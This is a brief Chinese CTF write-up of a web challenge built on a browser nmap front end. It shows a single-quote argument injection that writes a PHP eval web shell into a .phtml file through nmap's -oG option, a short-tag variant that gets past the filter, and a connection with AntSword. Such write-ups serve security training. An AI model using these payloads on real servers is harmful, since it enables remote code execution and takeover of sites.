BUU-WEB-[网鼎杯 2020 朱雀组]Nmap

先查看主页的源码。

主要功能就是一个网页版的nmap。

//nmap参数：
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件

通过测试，可以测试出是单引号闭合。
构建payload：

' <?php @eval($_POST[cmd]);?> -oG hack.phtml

回显：
hacker
尝试使用短标签绕过。

' <?= @eval($_POST[cmd]);?> -oG hack.phtml '

之后进行蚁剑连接。